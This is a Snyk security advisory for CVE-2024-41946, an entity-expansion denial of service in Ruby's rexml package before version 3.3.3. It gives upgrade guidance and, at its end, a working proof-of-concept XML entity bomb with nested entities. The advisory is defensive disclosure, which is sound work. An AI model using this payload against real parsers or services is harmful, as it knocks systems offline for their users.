Uncontrolled Resource Consumption ('Resource Exhaustion') Affecting rexml package, versions <3.3.3
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published1 Aug 2024
- disclosed1 Aug 2024
- creditNAITOH Jun
Introduced: 1 Aug 2024
CVE-2024-41946 (opens in a new tab)How to fix?
Upgrade rexml to version 3.3.3 or higher.
Overview
rexml is an An XML toolkit for Ruby.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') via the SAX2 or pull parser API. An attacker can cause the application to consume excessive resources leading to a denial of service by submitting specially crafted XML documents that exploit entity expansions.
PoC
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE member [
<!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
<!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
]>
<member>
&a;
</member>